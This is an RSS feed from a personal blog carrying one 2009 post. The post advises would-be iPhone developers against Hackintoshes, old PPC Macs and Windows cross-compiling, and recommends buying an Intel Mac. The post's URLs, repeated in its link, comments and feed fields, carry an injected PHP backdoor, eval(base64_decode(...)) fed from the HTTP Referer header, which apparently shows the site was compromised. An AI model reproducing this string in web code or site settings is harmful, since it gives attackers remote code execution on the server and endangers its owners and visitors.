<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>How I Roll &#187; iPhone</title>
	<atom:link href="http://www.howiroll.org/category/iphone/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.howiroll.org</link>
	<description>It's How I Roll</description>
	<lastBuildDate>Fri, 29 Apr 2011 04:31:50 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=</generator>
		<item>
		<title>Circumventing the System: iPhone Development and the Desire to Not Use a Mac</title>
		<link>http://www.howiroll.org/2009/07/21/circumventing-the-system-iphone-development-and-the-desire-to-not-use-a-mac/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/</link>
		<comments>http://www.howiroll.org/2009/07/21/circumventing-the-system-iphone-development-and-the-desire-to-not-use-a-mac/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/#comments</comments>
		<pubDate>Tue, 21 Jul 2009 20:23:33 +0000</pubDate>
		<dc:creator>Dave</dc:creator>
				<category><![CDATA[Business]]></category>
		<category><![CDATA[iPhone]]></category>

		<guid isPermaLink="false">http://www.howiroll.org/?p=805</guid>
		<description><![CDATA[I talk to people everyday who are really, really excited about developing for the iPhone since they have heard about the amazing profitability of things like the Fart App. They usually ignore the RSS feeds and news stories about the typical lifecycle and profitability of the vast majority of the Apps in the App Store. [...]]]></description>
			<content:encoded><![CDATA[<p>I talk to people everyday who are really, really excited about developing for the iPhone since they have heard about the amazing profitability of things like the Fart App. They usually ignore the RSS feeds and news stories about the typical lifecycle and profitability of the vast majority of the Apps in the App Store. Many of these extremely excited entrepreneurs are also looking for a way to cut their costs (which makes sense). These people, who are looking to cut costs any way possible, usually seem to have a Windows machine and are going to do anything they can to not have to purchase an Intel Mac. <span id="more-805"></span></p>
<p>Below are the most popular options I have people ask me about, as well as my opinion on them for iPhone development.</p>
<p><strong>1. Hackintosh</strong></p>
<p>While the Hackintosh is a solution that people often try (and there is a nice tutorial on Gizmodo for creating one), it does not fulfill the specs for the Apple iPhone SDK EULA. Now, you may be able to put one together, and you may even somehow get by Apple's initial scan of your App. If they do a compliance scan, you may find that all the hard work that you did to get your App finished in the first place was futile since it did not comply with even the most basic standards in their agreement.</p>
<p>If you're looking to make a really crappy piece of software that you do not plan to support and do not care if it never gets advertised on the Top Apps list or if Apple decides to not let it into the store in the first place...then I guess you can try to go this direction. I just can't recommend it. There are too many variables when putting together a Hackintosh to ensure that you will comply with the EULA. If you are looking at targeting jailbroken phones or are generally a hacky type that is more interested in tinkering with the tech than actually deploying to the App Store, then you could give it a try.</p>
<p><strong>2. Using an Older PPC Mac</strong></p>
<p>With the announcement that Apple will not be supporting the PPC chip in the next version of their OS, the price of older Macs plummeted. It makes me wish I had sold my dual-G5 on EBay before the announcement. I would have made a lot more than I could today. But with the lower price-point on older machines, I get a lot of questions about using them.</p>
<p>I got the iPhone SDK 2.2.1 working on my G5 after much internet browsing, swearing, making sure things didn't drop in root versus the developer directory, more swearing, dealing with keychain issues, a ton more swearing. And I got it to work. Then I installed the 3.0 seed and it broke the hard work I had done. Hours and hours of frustration leading to more frustration.</p>
<p>Luckily I had a shiny new Intel Mini on the way. I installed everything, went through the Apple Developer Portal's step-by-step instructions without a single failure...and it worked in 30 minutes (after downloading, of course). What I learned: if you value your time and efficiency (and sanity), it is not worth the frustration to try to get it working on something that it was never meant to work on in the first place. Sure the simulator is a Universal Binary...that gets people excited, but from the wide-range of complaints and questions and problems on the forums dedicated to doing this, as well as my own personal frustrations, I cannot recommend doing this.</p>
<p>Plus, it most likely will not pass the platform compliance pass to get into the App Store. Who knows, it may, but do you want to stake your development hours on it?</p>
<p><strong>3. Jury-Rig a Windows Machine and Cross-Compile with gcc</strong></p>
<p>This is for the truly hardcore. While I can understand the fascination, I think this is best left to people who make homebrew toolchains and port Voodoo drivers to new builds of their favorite flavor of Linux. Especially since they will have to emulate the keychain process as well to sign the App correctly, generate the package and trick it out to look like it was developed on an Intel Mac. While it is probably something that is doable by a somewhat talented hacker, I don't think it is an option for most of the people I talk to who are just looking for a way to use Windows and maybe use some free tools they've heard about as well. Because then it would be free...except for the Apple Developer Subscription, right?</p>
<p>Perhaps, if you like beating your head against brick walls.</p>
<p><strong>My Take On All This</strong></p>
<p>Again, to be the broken record, if you are going to target a platform full-force and want to build a marketable business, you need to work with the bare minimum that the platform requires. This means an Intel Mac Mini with the latest, greatest version of OS X. The XCode toolset and developer documentation is a free download from <a href="http://developer.apple.com">Apple's DevCenter</a>. You will also need an <a href="http://developer.apple.com/iphone/program/">Apple iPhone Developer subscription</a>.</p>
<p>There are a lot of great platforms that you can develop using a Windows machine (and a good chunk of them will work with a PPC or Linux). You can jump on the <a href="http://na.blackberry.com/eng/developers/resources/">BlackBerry developer</a> bandwagon and go crazy. You can hit up the <a href="http://developer.android.com/index.html">Google Android platform</a>. How about the Palm Pre's <a href="http://developer.palm.com/">WebOSdev</a>? There are a ton of excellent markets out there. Some are emerging and some are well-established. And all of them are very cool. If you're going to target a platform for your business, don't do it half-assed and try to get around the system. You'll usually end up writing really bad code that is not guaranteed to work on the actual platform...and supporting extremely angry customers.</p>
<p>Just my thoughts since I talk to a lot of people trying to target the iPhone.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.howiroll.org/2009/07/21/circumventing-the-system-iphone-development-and-the-desire-to-not-use-a-mac/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

